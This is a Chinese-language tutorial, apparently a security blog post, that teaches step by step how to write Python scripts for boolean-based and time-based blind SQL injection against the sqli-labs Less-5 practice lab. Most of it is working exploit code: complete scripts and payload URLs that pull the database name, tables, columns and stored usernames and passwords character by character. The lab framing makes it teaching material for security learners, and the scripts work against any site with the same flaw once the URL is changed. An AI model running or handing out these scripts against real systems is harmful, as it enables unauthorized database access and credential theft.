从零开始的注入脚本编写
0x01:前言
前面涉及到时间盲注和布尔注入,手动始终效率太低,所以脚本的重要性就体现出来了。这里将会细致的对几种注入脚本进行编写和解释。
0x02: 基于布尔的盲注
基于布尔的盲注的核心便是:sql语句的对与错将返回不同的内容,因此这将是编写脚本的关键点。
我们以sqli-labs的less 5为例
首先,本关是最特点鲜明的布尔盲注
当我们输入正确的参数时,页面反馈为:
当我们输入会使查询返回false的语句时,返回为:
所以我们就可以根据关键字 "You are in……….."来判断我们的语句是否正确。
且返回false的时候为空,所以可以使用这段关键字的任意一段,比如只使用 are 这个关键字。
编写脚本:
首先声明编译器类型,在没有在执行程序时指出用什么程序运行py脚本时,系统会去调用python程序来执行。
#!/usr/bin/env python
由于我在windows环境下操作,所以不需要这一句。
文件编码类型改为UTF-8类型,未避免中文注释引起报错。
#coding:utf-8
调用requests模块
由于发送web请求,所以需要使用requests模块,此模块未python的第三方模块,需要额外安装。
import requests
预定义变量用以接收返回的值
sql = ""
构建嵌套循环
由于需要发送大量的请求和不同的payload,所以需要两层循环控制,一层负责控制发包次数,一层控制payload。
for i in range(1,100)
#range数组上限为100,也就是执行100次,由于这是第一层循环,所以控制的应该是要查询的字符
for j in range(33,127)
#range数组迭代33-127以内的数,用意为迭代ASCII码的所有可显字符。即33-126
构造url请求
由于每个阶段用的语句不同,所以需要多条语句
查询当前数据库的库名:
http://192.168.150.131/sqli-labs/Less-5/?id=1' and ascii(substr((select database()),1,1))=33 and '1'='1
在这句payload里,可变的变量有两个,一是substr遍历的参数,一个是用来比较ASCII码的参数。正好对应了i数组和j数组。
所以就可以将两个参数拼接到语句中:
http://192.168.150.131/sqli-labs/Less-5/?id=1' and ascii(substr((select database()),"+str(i)+"+,1))="+str(j)+" and '1'='1
这里解释一下str()函数,由于python无需定义变量类型,所以如果直接拼接变量python会报错。
举例:我们有以下代码:
i=33
print "a"+i+"";
运行就会报错,因为python不知道这个i是33呢还是3和3,所以要使用str()函数,将其作为整体字符串处理。
i=33
print "a"+str(i)+"";
发送http请求
我们使用requests模块进行爬虫,requests.get(url),调用requests模块的get方法发送get请求,由于url为变量,所以更改为:
首个url为关键字。
匹配关键字
由于基于布尔的盲注需要页面返回关键字进行判断是否保留payload参数,所以使用if in 语句
if "are" in r.content:
#如果 "are" 这个字符存在r.content字典,则返回true,执行后面的语句。
r.content 全称为:requests.content,用于返回HTTP请求的二进制数据,然后经过编码反馈的便是web页面源码,这里不获取图片,所以可以使用r.text。
拼接正确参数
在经过循环和判断后,需要将一个一个的字符拼接起来组成最终结果。
sql+=chr(j)
#使用chr()函数返回十进制数对应的ASCII码并拼接到变量sql
输出一次结果,跳出一次循环体
break
完整代码:
import requests
sql=""
for i in range(1,100):
for j in range(33,127):
url = "http://192.168.150.131/sqli-labs/Less-5/?id=1' and ascii(substr((select database()),"+str(i)+",1))="+str(j)+" and '1'='1"
r = requests.get(url=url)
if "are" in r.content:
sql+=chr(j)
print sql
break
接下来只需更换url即可。
查表:
url = "http://192.168.150.131/sqli-labs/Less-5/?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),"+str(i)+",1))="+str(j)+" and '1' = '1"
查字段:
url = "http://192.168.150.131/sqli-labs/Less-5/?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='security' ),"+str(i)+",1))="+str(j)+" and '1' = '1"
查数据:
url = "http://192.168.150.131/sqli-labs/Less-5/?id=1'and ascii(substr((select group_concat(username,password) from users),"+str(i)+",1))="+str(j)+" and '1' = '1"
最终代码:
import requests
sql=""
for i in range(1,200):
for j in range(33,127):
url = "http://192.168.150.131/sqli-labs/Less-5/?id=1' and ascii(substr((select user()),"+str(i)+",1))="+str(j)+" and '1'='1"
#url = "http://192.168.150.131/sqli-labs/Less-5/?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),"+str(i)+",1))="+str(j)+" and '1' = '1"
#url = "http://192.168.150.131/sqli-labs/Less-5/?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='security' ),"+str(i)+",1))="+str(j)+" and '1' = '1"
#url = "http://192.168.150.131/sqli-labs/Less-5/?id=1'and ascii(substr((select group_concat(username,password) from users),"+str(i)+",1))="+str(j)+" and '1' = '1"
r = requests.get(url=url)
if "are" in r.content:
sql+=chr(j)
print sql
break
0x03: 基于延时的盲注
基于延时的盲注的核心便是:sql语句的对与错将对浏览器造成不同的延时,因此这将是编写脚本的关键点。
我们依旧以sqli-labs的less 5为例
首先本关是可以使用延时盲注和布尔盲注的。
我们测试是否可以使用延时注入:
可见sleep函数是可以发挥作用的。
那如何使用代码判断是否出现延时呢,这里我们使用异常来解决。
requests模块的get方法有一个参数为timeout
这个参数的作用为:如果服务器在 timeout 秒内没有应答,将会引发一个异常。
所以我们可以利用延时注入的特性和timeout参数进行编写脚本,只需将结果收集代码写入except模块即可。
编写脚本:
预定义变量用以接收返回的值
sql = ""
构建嵌套循环
由于需要发送大量的请求和不同的payload,所以需要两层循环控制,一层负责控制发包次数,一层控制payload。
#range数组上限为100,也就是执行100次,由于这是第一层循环,所以控制的应该是要查询的字符
for y in range(33,127)
#range数组迭代33-127以内的数,用意为迭代ASCII码的所有可显字符。即33-126
构造url请求
由于每个阶段用的语句不同,所以需要多条语句
查询当前数据库的库名:
http://192.168.150.131/sqli-labs/Less-5/?id=1' and if(((ascii(substr((select database()),1,1)))=33),sleep(2),false) and '1' = '1
在这句payload里,可变的变量有两个,一是substr遍历的参数,一个是用来比较ASCII码的参数。正好对应了i数组和j数组。
所以就可以将两个参数拼接到语句中,这里我们使用 print格式化输出进行拼接:
http://192.168.150.131/sqli-labs/Less-5/?id=1' and if(((ascii(substr((select database()),%d,1)))=%d),sleep(2),false) and '1' = '1
print 格式化输出:
%s,表示格式化一个对象为字符
%d,整数
%f ,浮点数
%r,一般用于debug
将x,y数组的值与格式化对应
url2 = url1%(x,y)
构造异常处理代码块:
f = requests.get(url=urll,timeout=1.5)
except:
sql+=chr(y)
print sql
break
如果服务器在1.5秒内没有应答,则抛出一个异常,然后执行except中的代码,即将发生异常的字符拼接为查询结果。
完整代码:
import requests
sql = ''
for x in range(1,100):
for y in range(33,127):
url1 = "http://192.168.150.131/sqli-labs/Less-5/?id=1' and if(((ascii(substr((select database()),%d,1)))=%d),sleep(2),false) and '1' = '1"
url2 = url1%(x,y)
try:
f = requests.get(url=url2,timeout=1.5)
except:
sql+=chr(y)
print sql
break
接下来只需更换url即可。
查表:
url1 = "http://192.168.150.131/sqli-labs/Less-5/?id=1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),%d,1))=%d,sleep(2),false) and '1' = '1"
查字段:
url1 = "http://192.168.150.131/sqli-labs/Less-5/?id=1' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='security'),%d,1))=%d,sleep(2),false) and '1' = '1"
查数据:
url1 = "http://192.168.150.131/sqli-labs/Less-5/?id=1' and if(ascii(substr((select group_concat(username,password) from users),%d,1))=%d,sleep(2),false) and '1' = '1"
最终代码:
import requests
sql = ''
for x in range(1,100):
for y in range(33,127):
#url1 = "http://192.168.150.131/sqli-labs/Less-5/?id=1' and if(((ascii(substr((select database()),%d,1)))=%d),sleep(2),false) and '1' = '1"
#url1 = "http://192.168.150.131/sqli-labs/Less-5/?id=1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),%d,1))=%d,sleep(2),false) and '1' = '1"
#url1 = "http://192.168.150.131/sqli-labs/Less-5/?id=1' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='security'),%d,1))=%d,sleep(2),false) and '1' = '1"
url1 = "http://192.168.150.131/sqli-labs/Less-5/?id=1' and if(ascii(substr((select group_concat(username,password) from users),%d,1))=%d,sleep(2),false) and '1' = '1"
url2 = url1%(x,y)
try:
f = requests.get(url=url2,timeout=1.5)
except:
sql+=chr(y)
print sql
break
0x04: 结语
代码结构和功能都比较简单,仅实现了代替人工进行注入。并未对其进行优化,比如可以使用二分法对其进行快速注入等。这里不多做赘述,或许想写的时候会写一下。